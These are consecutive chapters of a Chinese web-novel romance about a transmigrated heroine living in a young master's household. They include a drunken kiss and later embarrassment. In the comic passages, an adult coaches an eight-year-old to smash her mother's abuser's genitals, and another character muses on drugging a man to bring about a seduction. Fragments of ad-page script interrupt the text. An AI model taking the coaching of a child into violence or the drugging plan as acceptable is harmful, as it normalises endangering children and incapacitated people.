她叫白幺幺,却不是她们要找的那个白幺幺。 反正吧,她是谁,她说的算。 白慕雪认出了张婉茹。 她抹着泪,咬着唇,警惕的看着张婉茹。 张婉茹:“……” 她努力让自己看起来像好人,温声细语的哄起人来。 “小妹妹,你叫慕雪是吧,我能叫你小雪吗?” 大人呀,有时候说话不是真在征求孩子的意见,而是在通知孩子。 “小雪啊 ,那天早上你真的误会了,我是在救你妈妈。” 张婉茹表情那叫一个诚挚,紧接着她开始关心起人来。 “小雪啊,你怎么哭了?是谁欺负你了吗?” 像是想到什么,张婉茹神色一变。 她愤声道:“是不是韩东那个变态打你了,你告诉姐姐。” 她就想听一手的八卦,至于帮忙出头,那是不可能的。 韩东两个字一下子触动了白慕雪脑中那根弦。 原以为找到了妈妈,她就能过上有妈是块宝的幸福生活。 可实际和她期待的生活完全不一样。 才八岁的孩子,她也需要发泄,需要倾诉。 “呜呜,大姐姐,变态他……他欺负妈妈,妈妈都说不要,不要了,变态还继续啃妈妈的脸。” “呜呜,我不能看着妈妈被欺负,所以我……我拿花瓶砸变态的脑袋……” 白幺幺和张婉茹:……韩东那变态又被砸脑袋了! 第247章 年代文里的童养媳(30) 张婉茹同仇敌概(不嫌事大)道:“砸得好,小雪啊,你做的没错,你这是在保护妈妈,是个勇敢的孩子。” 才八岁的孩子,即使心中认为自己没错,可也想得到别人的认同。 白慕雪抽抽噎噎点头,“嗯,小雪没错,小雪打坏人,保护妈妈。” “可是,可是妈妈生气了,还打小雪。” 张婉茹用看傻孩子的眼神看着白慕雪。 “小雪,你妈妈打你那是在保护你。” 白慕雪一时忘记哭泣,“妈妈打我……她保护我?” “可不是,小雪,你仔细回想,就是你每次砸伤韩东那个变态,是不是只有你妈妈打了你,韩东那个变态一下都没打你吧!” 白慕雪吸了吸鼻子,皱着眉头想了想,好像还真是这样。 张婉茹继续道:“你妈要是不先动手打你,韩东那个变态就会动手打你了,你妈打你是做做样子的,要是韩东那个变态打你,你……” 后面的话她没说,让白慕雪自行脑补。 白慕雪自幼聪明机灵,很快就想明白了,眼眶一下子又蓄满了泪水。 呜呜,她差点误会妈妈了。 趁着小姑娘专注哭泣时,张婉茹转头和白幺幺用眼神交流起来。 白幺幺:婉茹,你真厉害! 张婉茹:必须的。 白幺幺:要不再坑韩东秦雪他们一波大的? 张婉茹:好啊,好啊,要怎么做? 白幺幺:容我想想。 张婉茹:嗯,幺幺,你快想! 白幺幺:有了。 张婉茹:啥? 白幺幺朝人眨了眨眼睛,脸上露出一个诡异的笑,而后朝张婉茹示范了个猴子偷桃的动作。 张婉茹先是愣了下,很快就恍然大悟,神色紧跟着兴奋起来。 她回头打断哭得三分伤心七分感动的白慕雪。 “小雪啊,你是不是很想保护妈妈,让妈妈不再受韩东那个变态的欺负?” 白慕雪重重地点头,她当然想保护好妈妈。 “大姐姐这里有个一劳永逸的方法哦。” 白慕雪着急的问,“什么方法?” 张婉茹凑近些,小声的和白慕雪传授方法。 杜绝男人“欺负”女人,最一劳永逸的方法,不就是没收那作案工具。 白慕雪听得很认真,等张婉茹说完后,她皱着眉问:“大姐姐,你说的方法真的能行吗?” 张婉茹点头,拍胸脯道:“大姐姐骗你做啥,只要把那作案工具砸烂了,没了工具,他还怎么欺负你妈妈。” 如果可以,张婉茹更希望能直接把将韩东那个变态给砸死。 想到什么,张婉茹眼中极快的闪过一道恨意。 白慕雪咬了咬唇,似是还在琢磨张婉茹说的方法。 这时有人过来了。 白慕雪见到匆匆跑来的人,知道是妈妈派出来找她的。 她一下子想到了刚刚张婉茹的话,妈妈打她并不是不爱她,相反的是很爱很爱她。 小孩子毕竟就是小孩子,情绪来得快,去得也快。 她朝张婉茹羞涩的笑了笑,“大姐姐,我妈妈让人来喊我了,再见大姐姐,我要回屋去了。” 等到白慕雪跑没影后,张婉茹兴冲冲的回到白幺幺身边。 “幺幺,听到没,韩东那死变态又被砸了!” “说他变态真没冤枉他,简直就是一只随处发情的公狗,也不注意点影响,让个小孩子撞见……” “咳咳!” 张婉茹抓着白幺幺的手正说得激动时,一道咳嗽声打断了她。 她转头看去,才注意到不仅月钧枫就连叶轩父子俩都还在。 只是尴尬了那么一瞬,她就决定拉着白幺幺回她家继续聊刚刚的话题。 白幺幺其实有察觉到她刚刚某一瞬间情绪的不对劲,所以也顺着她的动作准备跟人回家。 “咳咳!” 又是一道咳嗽声,前后都是出自月钧枫的。 之前两个女人旁若无人的眉来眼去时,月钧枫神色就有点绷不住了。 在白幺幺向张婉茹示范,做出猴子偷桃动作时,他神色终于彻底绷不住了。 考虑到还在外面,有外人在。 他将崩掉的神情碎片重新拾起来拼凑好,心里想着,不管是谁带坏的谁,以后还是少让这两女人凑一起去。 白幺幺和张婉茹同时看向月钧枫,白幺幺关心的问道:“月同志,你喉咙不舒服吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 月钧枫:“……” 他语气生硬的说:“没有。” “那你刚刚为啥咳嗽?难道是感冒了?” “也没有!” 白幺幺:“……” 这没有,那也没有。 莫名其妙的。 男人果然惯不得,白幺幺同志懒得伺候了。 “婉茹,走,去你家。” 白幺幺反过来拉着张婉茹朝她家走去,路过将头埋得低低的男主身边时,她唇角勾起了一个若有似无的弧度。 有趣,真的很有趣的。 在白慕雪出现时,她可没错过男主突然收紧的拳头,以及那一瞬间快从 眼睛里溢出来的深情爱意。 所以,男主这是重生了? 什么时候的事? 想到男主脸上的牙印,想想应该是受了这伤后才重生的吧! 不然重生回来,还能把自己搞成这副狼狈模样,那这男主还真是废物啊。 月钧枫:“……” 不是,就这么走了? 回来,他还有话要说了! 叶轩眼神阴鹜的盯着白幺幺离开的背影,心里却得意极了。 乡下女人果然就是乡下女人,言行粗鄙不堪。 张婉茹也不知道怎么和这个乡下女人认识的,不过肯定也才认识没多久。 瞧瞧,就被影响成这样,哪还有半点大家闺秀的样子。 他刚刚没有急着离开,全程安静的听着看着,就是想亲眼看着阿枫对这乡下女人露出失望嫌恶的表情。 虽然最终目的没达成,但也不是完全没有收获的。 乡下女人就是乡下女人,连看人脸色都不懂。 没看到阿枫都生气了,还直接甩脸子给阿枫看,然后就这样跟着人走了。 不得不说叶轩就喜欢这种没脑子,还爱作死的。 他早就说了,这种乡下女人不配做他的对手。 叶轩适时上前关心道:“钧枫,你没事吧?” “白小姐她……” 叶轩做出一副欲言又止的模样。 月钧枫:“我没事。” 他能有什么事? 他就是太为某人操心了。 第248章 年代文里的童养媳(31) “还有,她很好,就是性子活泼了点,比较乐于助人了点。” 叶轩一口牙都快咬碎了,脑中不断重复循环着这句话。 他本想在阿枫面前给那乡下女人上上眼药的,当然就那乡下女人粗鄙不堪的言行举止,阿枫肯定也看在眼里的。 只是,他都还没说什么,阿枫就替那女人说起话来。 叶轩差点维持不住脸上的表情,想和阿枫争论,就那样的乡下女人简直一无是处,哪里配阿枫替她说话。 原本还想放任那乡下女人自己作死,让阿枫厌弃的。 可是,此刻叶轩发现,他做不到。 该死的! 他怎么就忘记了一件事,阿枫感情经历一片空白,之前也基本不怎么和异性接触。 这样的阿枫,正是单纯好骗的时候。 叶枫落后两步走在叶轩后面,瞧着前面人双拳捏紧了松开,又捏紧了,再松开。 他无声的冷嗤,看向前面那道背影的眼神多了丝嘲弄。 他的好父亲,还真是废物! 其实,就在刚刚,思维突然一转。 发现如果他的好父亲能拿下未来的月家当家人,对他来说益处多多。 两个男人在一起,以他那好父亲的占有欲,肯定不会允许对方有自己的孩子。 而作为两人“唯一”的孩子,他是不是有可能继承了叶家,最后还能继承月家。 之前还打心底觉得厌恶的事,换个思路后,叶枫觉得简直是对他再友好不过的事了。 喜欢男人好啊,总比再给他找个后妈强。 谁知道后妈会不会是个不安分的,使手段再给他生出个弟弟来。 亦或者是后妈手段了得,直接把他那好父亲给掰正回来。 叶枫眯了眯眸子,想起上辈子的事。 就凭他父亲的那点本事,想抱得美男归,根本不可能。 看来,他要好好想想,给当个助攻。 其实他父亲最后给人下药,想要来个生米煮成熟饭的办法也不是不可行。 就是必须好好计划,最后还要将他父亲摘得干干净净的。 嗯,最好让他父亲也成为事件的受害者。 只是对方毕竟是男人,不是女人,不会因为这样一次错误的纠缠,就容易产生异样的情感。 或许该让他那好父亲去练练床上技术,到时好将人伺候得舒舒服服,让人一次就食髓知味。 视线从前方背影移开,叶枫开始想他的雪儿。 该死的,秦阿姨怎么可以打雪儿。 上辈子秦阿姨和雪儿相认后,因着觉得对雪儿亏欠良多,别说是打雪儿了,对雪儿好得连小舅子都羡慕嫉妒。 叶枫伸手捏了捏眉心,这一世不一样,都不一样了。 到底谁才是那个变数? 手向下移动想去触碰脸上的那道伤,只是手伸到一半,就又放了下来。 ……他嫌恶心! 白幺幺在张婉茹家有点乐不思蜀,两个女人最后还喝上了。 忽悠(教唆)白慕雪时,深埋的仇恨被勾起。 和白幺幺手挽手进了家门后,张婉茹就拉着白幺幺的手主动讲述起来。 她和韩东秦雪之间的恩怨情仇。 张婉茹有个私定终身的爱人,男人出自普通书香门第,是一名很有学识的老师。 当年韩东将秦雪带回来后,因着秦雪想继续读书考大学。 韩东就请了张婉茹的爱人去给秦雪补课。 可才短短不到一个月,张婉茹的爱人不仅身败名裂,还丢了性命。 两人是偷偷处对象的,没让其他人知道。 不过近段时间已经在计划着告知双方家长,而后开始谈婚论嫁。 爱人的死讯传来,恍若晴天霹雳,张婉茹差点崩溃。 也是这时,她才知道母亲其实早就发现她偷偷谈对象的事,还知道是谁了。 要不是母亲死命抱住她,她当时都要跑去撕了韩东秦雪那两个贱人。 什么她爱人色欲熏心,意图对韩夫人行不轨之事。 韩家的忠犬拼死护主,不小心将人咬死了。 张婉茹是一个字都不信,她相信自己爱人的为人。 事情绝对有隐情,只是她的家人不让她继续掺和这件事,直接将她送出国去。 张婉茹知道家人是为了她好,可是没人知道她和他的感情有多深。 那样一个光风霁月,温润如玉的谦谦君子。 两人之间的甜蜜时光又是那样的刻骨铭心,张 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 婉茹觉得她这辈子根本无法再爱上其他人了。 当年的真相到底是什么,她回国后不是没有偷偷的查。 只是过去好几年了,根本查不到什么有用的。 张婉茹抱着白幺幺哇哇大哭起来。 有时候,人与人之间的信任真的无关乎认识的长短。 白幺幺抬手回抱住人,轻轻给人拍着后背。 不知道要怎么告诉她,她爱的那男人没有辜负她的信任。 张婉茹查不到她爱人去世的原因,白幺幺就不一样了。 原剧情中,刚好有提到过这件事。 秦雪一开始不是被韩东强 取豪夺的吗? 这副姿态不得摆出来。 整天一副思念女儿,思念远方爱人的郁郁寡欢模样。 韩东是个霸道的性子,除了强行将人囚在身边,其他真是要星星不敢月亮,整天变着法子哄人开心。 被偏爱的有恃无恐,秦雪也越发作了。 有次韩东出去应酬,喝了酒,回来想和秦雪做那档子亲密事。 秦雪今儿学习时频频走神,老师出于对学生的关心,就开口问是有烦心事吗? 秦雪这段时间被韩东宠得很娇气,被这么一关心,委屈的情绪无限放大,也不知怎的就扑到人老师怀中嘤嘤哭起来。 那老师第一时间想推开人,只是秦雪小声求着老师别推开,让她抱抱。 老师不动了,全程像个木桩子,让秦雪抱着哭。 两手垂在身侧,都没做什么越举的动作。 只是哭一场,秦雪的情绪根本没恢复。 晚上在韩东不断凑过来想与她亲热时,终是又爆发了。 她边哭边用小手捶打着韩东的胸膛,小嘴叭叭叭的控诉。 说什么韩东根本不爱她,别人都能发现她情绪不对劲,会关心,抱着她,安慰她。 可是他不仅没有,整天脑子里就想着那种事情? 呜呜,说什么爱惨了她,根本不是的,就只是爱她这具身体…… 韩东抱着人温声细语的哄着,密集的吻落在了秦雪的每一处肌肤上,两人自然而然的和好了,还滚了床单。 而就因为秦雪的这一通情绪发泄,直接要了另一个男人的命! 第249章 年代文里的童养媳(32) 因着拥有上帝视角,白幺幺对韩东秦雪两人不仅没半点好感,甚至挺厌恶这两个神经病的。 白幺幺没说什么安慰人的话,只是陪着人大碗喝酒,大口吃肉。 这种陈年旧伤,哪里是旁人几句话就能抚慰好,从而走出来的。 两个人的狂欢就此开始,持续到了夕阳余晖洒向大地。 林伯进进出出好几回,也欲言又止了好几回。 中午小少爷只是出去送下朋友,回屋后就冷着一张脸。 往小少爷身后瞅了眼,他记得白小姐也跟着出去了的。 见小少爷身后空空的,林伯眼里划过一道忧色。 这是又闹不愉快了? 林伯犹豫了下,还是问道:“小少爷,白小姐怎么没进来?还在外面吗?” 月钧枫:“……” 跟人跑了! “去隔壁串门了!” 林伯:哦,原来白小姐只是去隔壁找朋友,那小少爷为何冷着张脸? 想不通。 更让林伯想不通的情景出现了。 小少爷如果没外出,大部分时间会待在书房处理文件或者看书。 可是今儿一下午,小少爷竟然都待在客厅。 随着时间的推移,夕阳透过窗户打进来,天色渐渐昏暗下来。 只是从客厅经过,林伯都能明显感觉到小少爷周身气压越来越低了。 林伯来来回回好几次,他总觉得自己要说点什么。 过去厨房看到晚餐已经准备的差不多了,林伯又折返回客厅。 “小少爷,都这个点了,需不需要过去喊白小姐回来用晚饭?” 月钧枫放下手上书,侧头看向窗外,冷声吐出两个字来。 “不用。” 林伯:“……” 他家小少爷这爱口是心非的性子哟! 白幺幺不是踩着落日余晖回来的,而是披着清冷月光回来的。 张婉茹已经醉得不省人事,而她自己也没好到哪里去。 醉死过去,不知睡了多久,而后被尿憋醒的。 她爬起来,整个人东倒西歪的去解决了下人生大事。 回来时,觉得口干舌燥,端起桌上的大半杯酒又是一饮而尽。 视线迷离的打量了下四周环境,发现有点陌生。 皱着眉头想了会儿,才想起她此刻在哪。 她摇摇晃晃的走过去推搡了下张婉茹,有些大舌头的说她要回家了。 也不管得没得到回应,就直接往外走去。 说真的,要不是被尿憋醒,白幺幺这回应该会直接睡死到隔天早上。 原主之前那条件,吃都吃不饱,别说喝酒了。 所以谈啥酒量,也幸好不是那种一杯倒就是了。 既然醒都醒来了,那谁也阻挡不了她回家的心。 此时已经快十点了,白幺幺走出张婉茹家。 冷风吹来,倒是有将人稍稍吹清醒些。 她摇晃了下脑袋,努力稳了稳身形。 听到声响出来的林伯瞅见她这模样,忙担忧要上前搀扶。 “白小姐,你还好吗?” 白幺幺躲开了,“不……不用,我自己能……能行,还有……我好着了。” 林伯见人不让扶,只能紧张的跟在旁边,生怕自己一个没注意,人就摔了。 白幺幺的酒品很好的,完全不存在耍酒疯啥的,找到床倒下就能睡。 这个点,客厅里还灯火通明。 白幺幺走的摇摇晃晃,时不时抬手捂嘴打着哈欠。 听到脚步声,月钧枫捧着书的手收紧了些。 他并没抬头去看,整一副专注不为外界声响所扰的模样。 白幺幺进门后,觉得灯光有些刺眼,抬手挡在眼前,打了个酒嗝后,继续往她的房间走去。 林伯看着人这副状态要自己爬楼梯上去,忙转头看向自家小少爷,瞅见人依然坐那老僧入定般的看着书。 他只是迟疑了下,便紧张道:“白小姐,你慢点走,我现在去厨房弄点醒酒汤,等下给你送上去。” 林伯的声音不大,却足以让月钧枫听得清清楚楚。 醒酒汤? 喝酒了? 他皱了皱眉。 听到林伯的话,白幺幺回头朝人摆手。 “不……不用醒酒汤……我没醉!” 说完,白幺幺还向林伯说了声谢谢。 哼,喝醉酒的会像她这般懂礼貌吗?! 月钧枫咬了咬牙,最后还是将书合起来。 他起身朝某醉鬼走去,越是走近,浓郁的酒气扑鼻,他周身的气息也跟着越来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 越冷。 这是喝了多少酒? 见人还知道要用手扶着楼梯扶手走路,月钧枫笑了,被气的。 谁家姑娘家的,跑出去喝酒,还喝的醉醺醺的,这个点才回来。 是觉得这世道很太平,还是觉得自己长得很安全,或者武力值很厉害! 林伯见自家小少爷过来了,他就准备离开去弄下醒酒汤。 听到脚步声,白幺幺停下慢速度的上楼动作,好奇回头看去。 此时她的视线并不是很清明,又觉灯光刺眼 ,眼睛是半眯着的。 盯着人看了许久,久到仿佛经历了一年四季更替。 白幺幺才惊喜的喊道:“月……月同志……是你啊!” 月钧枫:“……” 他是不是该高兴,眼前的小醉鬼还能认出他来。 “你放心,我……我不去学校找……找童养夫了!” 白幺幺咧着嘴笑了笑,“婉茹啊,她说……她要把……把她家那些个亲弟,堂弟,表弟各……各种弟吆喝过来……让我挑选……” 林伯:“……” 他去厨房安排人煮醒酒汤,本想着就在厨房等着的,可心里还是有点不放心,便出来了。 然后他听到了什么?! “嗝!” 白幺幺打了个酒嗝,得意的扬了扬下巴。 “婉茹说……说了,她的那些弟弟们都……都乖巧懂事,只要……只要稍稍……调教下,一定……都……都是绝世好男人!” 白幺幺砸吧砸吧嘴,小声嘟哝。 “我……我又不是傻子,醉鬼的话……哪里能信。” “不过……不过反正先……先验货了再说……不……不行再退货。” 月钧枫:“……” 额头青筋狠狠抽动了下,想着以后一定不能让人喝酒了。 林伯:“……” 不是,白小姐,你这说的是醉话,是醉话吧?! “我渴了。” 白幺幺抬手指着人,“月同志……去给我倒杯水来。” “我要温水。” “不能太……冷,也不……不能太热,要三十八度的……” “对,就是……三十八度。” “哼!低……一度,还是……还是高一度我都不喝!” 第250章 年代文里的童养媳(33) 月钧枫:“……” 他笑了! 还三十八度温水,多一度少一度就不喝。 小醉鬼,看把你能耐的。 到底是谁口渴了,不喝难道还要他求着她喝。 林伯:“……” 白小姐,原来你是这样的白小姐吗? 白幺幺见人杵在那不动,皱眉催促道:“你怎么还……还不去!” 月钧枫反问道:“你怎么不自己去?” 白幺幺:“???” 三秒钟过后。 她挺了挺胸脯,理直气壮道:“我是在……培养你……培养你当个好男人!” “未来……未来等你……娶到了老婆……你会……对我感激涕零的……” 月钧枫面皮狠狠抽动了下,开始反思,他刚刚到底在干嘛? 和个小醉鬼聊天。 他何时这般幼稚了! 舌尖抵着后槽牙,月钧枫深吸了口气,吐出两个字来。 “等着。” 白幺幺满意的点了点头,冲着人的背影喊道:“走啥走,跑起来!” 月钧枫脚步一顿,最终还是没转头去和某醉鬼继续掰扯。 林伯已经惊呆了有木有。 不然这个时候,他肯定第一时间喊住他家小少爷,而后来句“小少爷,我来,我来给白小姐倒水。” 担心人站楼梯台阶上会不老实,月钧枫很快就端着水回来。 白幺幺是真的渴了,见到水,就要扑上去抢。 月钧枫早有防备,一把擒住人的手。 “站好。” 白幺幺:“……” 她委屈的瘪了瘪嘴,“你凶我!” 月钧枫:“……” 不是,他凶了吗? 不远处还处在惊呆中的林伯:“……” 此时他已经呆上加呆了。 小少爷他……他怎么可以直接去抓白小姐的手? 因着小少爷的特殊情况,家中里里外外全是男人,所以小少爷在家中是没戴着手套的。 喉咙好似被什么堵着,让他想喊小少爷放手,快放手,却怎么也发不出声音来。 时间仿佛这一刻静止,画面定格。 “你凶我!”白幺幺又重复道,打破这一静止的时间。 林伯这时也从惊呆中回神,着急忙慌的跑过来,手上还抓着个小瓷瓶。 “药,小少爷,快吃药。” 只是…… 林伯倒药的动作一顿,眼睛眨了又眨。 没有? 没有! 他倏地睁大眼睛,不可置信的看向正瘪着嘴一脸委屈的白幺幺。 而后,他又侧头看向自家小少爷,眼眶不知什么时候已经红红了,里面闪着晶莹的水光。 此时林伯既惊喜,又懊恼。 他怎么没早点发现了。 只是,这也真怪不了他。 白幺幺住进来后,都没在他面前和月钧枫有过亲密接触。 月钧枫:“……” 他皱了皱眉,心想着怎么就忘记林伯还在了。 他这病又不是什么很光彩的病,除了很亲近的人,外人一概不知。 哪怕是他的几个好友,都以为他只是很不喜与人有过于亲密的肢体接触。 让人住进来,他早就防着今儿这情况的发生,所以都会注意着,尽量避开和人的亲密接触。 只是没想到,今儿…… 月钧枫很想捏捏眉心,只是他的两只手都不得空。 还有,果然喝酒误事。 月钧枫先回头给了林伯一个眼神,意思是有什么事等他应付完某醉鬼后再说。 林伯激动啊,激动得泪花已经飙了出来。 小少爷是他看着长大的,他无不盼着小少爷能娶妻生子,生活幸福顺遂。 可小少爷偏生得了那样的怪病,林伯一直都是将心中的心疼与忧愁深埋的。 现在,现在他的小少爷…… 林伯连连点了好几下头,落在白幺幺身上的目光更加慈爱了。 小少爷就是爱口是心非,明明心里也渴望着娶妻生子。 不然怎么把人带回家来了,不就是为了先住一起培养培养感情。 月钧枫一手稳住人,另一手把杯子递过去。 只是,手上的水杯久久都没被接走。 月钧枫眉梢微挑了下,“不是口渴了?” 白幺幺继续瘪着嘴,用眼神谴责对方,眼眶也开始红红了。 月钧枫:“……” 不是,他可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么都没做! 林伯只是没追着问情况,至于离开,他哪里舍得离开。 见两人还僵持着,他家小少爷一点都不知道要哄哄人,他心里那叫一个急呀。 两人并没有僵持太久,月钧枫先败下阵来。 他给自己的理由是和个小醉鬼计较,显得他幼稚。 “抱歉,我错了,刚刚不该凶你。” 虽决定妥协了,但月钧枫说话是咬着字的,若是清醒的白幺幺就能听出其中的情绪。 可现在的白幺幺,脑子迟钝,上下眼皮子也在打架。 至于她的一切言行,那就是凭本能的在……作! 当然白幺幺同志是讲道理的好同志,即使此刻喝醉酒的状态。 她很大度的伸手拍了拍男人的肩膀,“知错能……改善莫大焉,我……我大方的原谅你了。” 月钧枫:“……” 她是醉鬼!她是醉鬼!!她是醉鬼!!! 口还渴着,白幺幺没再找事,接过水杯咕噜咕噜喝起来。 只是喝到一半,她把水杯拿开,眼眶红红的瞪着月钧枫,难得说了句顺溜的话。 “不是三十八度的水!你是坏男人,欺骗了我弱小纯洁的心灵!” 月钧枫暗暗磨了磨牙,又做了个深呼吸,才挤出一个微笑来哄人。 “量过了,刚刚好三十八度,乖,你再不快点喝完,温度很快就要降到三十七度了。” 月钧枫:他的嘴暂时离家出走了,说的都是些什么,他也不知道,理解下。 “是吗?” 醉鬼白幺幺歪着脑袋,迷离的眼神里透着点狐疑。 忽的她脑中灵光一闪,听话的继续喝水。 月钧枫见人真的乖乖喝起水来,心中暗暗松了口气,想着小醉鬼其实也挺好……哄的! 在他毫无防备的情况下,两片柔软的东西突然覆上他的唇。 月钧枫瞳孔地震,感觉灵魂短暂的离体了。 哐当一声,搪瓷杯落地,在地上滚了好几圈,很巧的停在林伯脚尖。 林伯:“……” 捡杯子?他哪里有空捡啥杯子! 此时,林伯手捂着快跳出胸腔的心脏,脑中全在思考一个问题。 他到底要不要捂住眼睛,捂住眼睛…… 第251章 年代文里的童养媳(34) 后脑勺被一只滚烫的手扣住,双唇被撬开一条缝,温热的液体被渡进嘴里,还有些沿着嘴角流下…… 全程月钧枫就像失了魂的木偶傀儡,任由人对着他各种施为。 干完活儿后,醉鬼白幺幺才放开人,轻轻冷哼了一声。 “你自己……尝……尝了,我没……没骗人吧!就是没……没有三十八度。” 久久没得到回应,她伸手在人面前晃了晃,依旧没得到回应。 皱了皱鼻子,她开始伸手推人。 月钧枫是在白幺幺的手摸上他胸膛时,出逃的灵魂才归位的。 此时,他全身红透了,像煮熟的虾。 模样,简直比眼前的人还像个醉鬼。 双唇上还残留着那令他快要窒息了的触感与气息,想要伸手擒住胸膛上乱摸的手,可是大脑好似与身体断了联系。 良久,月钧枫终于找回了声音。 “白,幺,幺,你知道自己在做什么吗?” 突然被点名的白幺幺:“……” 她朝人翻了个白眼,随后给了人一个看傻子的眼神。 下一刻,汹涌的困意袭来,白幺幺抽动了下鼻子,连续打了好几个哈欠。 她伸手揉了揉脑袋,“我……我要回去……睡了。” 白幺幺说完,丢下人,摇摇晃晃的向楼上走去。 看着人真的说走就走,月钧枫脑中的弦化为粉末,就在他想上前拉住人时,一道咳嗽声打断了他的动作。 月钧枫:“……” 刚刚林伯都看到了吧? 见小少爷看过来,林伯不自在又咳了一声。 “小少爷,男人有时候还是要主动点的,不能总是让女人来主动。” 林伯都这把岁数了,这过来人他不得不当呀! 月钧枫:“???” 林伯朝人比了个鼓励的手势,“小少爷,快点,不然白小姐就快回到房间里了。” “还有我现在去厨房看看醒酒汤好了吗?好了,马上送上去,到时小少爷你可以亲自喂白小姐喝醒酒汤。” 亲自喂? 月钧枫脑中不受控制的浮现起某些少儿不宜的画面,整个人一下烧起来了。 林伯察觉到他神色不对,忙关心的问:“小少爷,你怎么了?” “我没事。” 丢下这句话,月钧枫落荒而逃了。 站在房门口,他做了好几个深呼吸,才抬手敲了敲门。 预料中的,没得到回应。 又做了一个深呼吸,月钧枫直接推门而入。 房间里没开灯,借着窗外透进来的月光,还是能看清楚躺在床上的人影。 月钧枫咬牙切齿道:“小醉鬼,真是欠了你的!” 他放轻脚步走过去,俯身帮人脱掉鞋子,动作不失温柔。 只是迟疑了下,他起身去卫生间拧了块帕子出来,认真给个人擦起脸来。 当擦到那饱满的双唇时,月钧枫的动作顿住了。 他抿了抿唇,指腹情不自禁的覆了上去,轻轻描摹起来。 林伯端着醒酒汤上来,房门没关,他站在房门口一时进也不是,退也不是。 房间是没开灯,可也不至于睁眼瞎。 他家小少爷的手在干嘛? 月钧枫第一时间就察觉到林伯的到来,只是那软软的两片肉像是有魔力般,让他舍不得抽回手。 想着林伯是送醒酒汤上来的,他用指腹轻轻戳了戳女人的脸颊,无声道:“我的便宜可不是那么好占的!” 走过去从林伯手中接过醒酒汤,转身之际,月钧枫没头没尾的说了句,“我刚刚是在她擦脸。” 林伯:“……” 小少爷,你不知道你这样有点此地无银三百两吗? 林伯离开时,还很贴心帮忙将门轻轻带上。 月钧枫端着醒酒汤回到床边,他伸手打开床头桌上的一盏小夜灯。 而后,他低头看着醒酒汤有些犯难了。 是把人叫醒,让她自己喝? 还是,他直接……喂她喝? 最后,月钧枫决定让人自己决定,能叫醒就自己喝,叫不醒,他也只能勉为其难的喂她喝了。 “醒……醒醒,白幺幺,起来把醒酒汤喝了再睡。” 月钧枫说话时,还伸手轻轻推搡了下床上的人。 很遗憾的是,他没能把人喊醒。 月钧枫又拿手戳了戳床上的脸,语气那叫一个无奈。 “白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幺幺,你个小醉鬼,喝个醒酒汤都要本少爷来伺候,看把你能耐的!” “睡着了也好,要是你现在醒来,是不是还要继续吵闹着,只喝三十八度的醒酒汤?” 月钧枫说着说着,不由得失笑出声。 他的笑声低低的,偏生就是把某醉鬼吵醒了。 月钧枫:“……” 怎么说,博学多才的小少爷,一时竟找不出词来形容他此刻的心情。 …… 翌日。 日上三竿,白幺幺才悠悠转醒。 尽管昨夜喝了醒酒汤,此时此刻,她还是觉得脑袋很不舒服。 捏着拳头在脑袋上轻轻捶了捶,白幺幺想着 以后喝酒还是小酌即可,不要喝到烂醉。 躺在床上,她也没急着起来,开始整理脑中的记忆。 喝酒喝断片了? 呵呵,完全不存在的。 白幺幺:“……” 好想,好想她也是那种一喝酒就断片的人啊。 要死了! 要喝三十八度的温水?! 还直接用嘴给月同志喂水?! 白幺幺从床上坐起来,一副生无可恋的模样。 她决定了,她就是喝断片了。 洗漱完,白幺幺若无其事的下楼。 林伯刚送完客人回来,见到白幺幺,脸上的笑意立马更浓了几分。 “白小姐,你醒啦,身体有没有哪里不舒服,有的话一定要说,还有饿了吗?早上我让厨房给你煮了粥,宿醉后,喝点粥养胃。” 白幺幺能清晰的感觉到林伯对她更慈爱,更热情,更关怀备至了。 因为什么,她也十分清楚。 唉,早知道喝个酒,会这样。 她……喝肯定是要喝的,就是喝完直接在外面睡,不回来了。 “谢谢林伯。” 白幺幺咧嘴朝人笑了笑。 她可没忘记,林伯昨晚可是在现场当了观众。 也亏得她脸皮够厚,不然现在都还躲房间里,不敢下来。 “对了,林伯,月同志人呢?” 白幺幺有些不好意思的挠了挠头,“我昨晚几点回来的?没吵到月同志休息吧!” 第252章 年代文里的童养媳(35) 林伯脸上的笑意僵了下,有些不死心的问,“白小姐,昨晚的事情你都不记得了吗?” 白表演帝幺幺上线。 被这么一问,她眼里满是茫然。 “林伯,我要记得什么吗?” “难道是我昨晚喝醉后,还耍酒疯了,可是我怎么一点印象都没有。” 林伯:“……” 耍酒疯? 好像也算是,只是他要怎么和人家姑娘描述昨晚的情况呢? “林伯?” 白幺幺疑惑的喊道,眼里除了茫然,还多了担忧。 “我昨晚喝醉后,有做了什么很不好的事吗?比如弄坏了家里什么东西,还是打人了?” 林伯张了张嘴,一副欲言又止的模样。 白小姐啊,你就这么忘了,你怎么可以忘了! 林伯自己都没发现,他看向白幺幺的目光,已经变了味,有点像是在看负心汉。 这时有脚步声传来,没一会儿,月钧枫和张良从外面走进来。 白幺幺见了人,笑着打招呼,“月同志还有张良同志,你们早呀。” 张良知道白幺幺昨晚醉酒的事,却不知道她醉酒后干的事。 见人精神头不错,不由得在心里嘀咕。 也不知道白小姐酒品咋样,昨晚有没有失态啥的? 爷那性子,他担心呀! 白小姐可是目前唯二的特例,可不能因此让爷对白小姐产生了啥抵触心理。 张良回道:“白小姐,早。” 尽管已经不早了,不过醉酒后这个点才起来能理解,能理解的。 月钧枫的眸光像雷达般,仔细扫过白幺幺脸上每一处。 不记得了? 不知怎的,他不信。 还有,还是那句话,他的便宜可不是那么好占的。 “先去吃饭,等下我们聊聊。” 他丢下这句话,就先去书房等人了。 白幺幺:“……” 聊啥聊,他们有啥好聊的。 林伯欣慰啊! 他家小少爷这是要主动出击,摊牌了吗? 张良好奇,却也只能好奇着。 白幺幺凑近林伯,小声问道:“我昨晚醉糊涂了,把月同志打了?还是我砸坏了他啥宝贝吗? 不然月同志要和我谈什么,眼瞅着脸色还不是很好看。” 林伯表情那叫一个一言难尽啊! 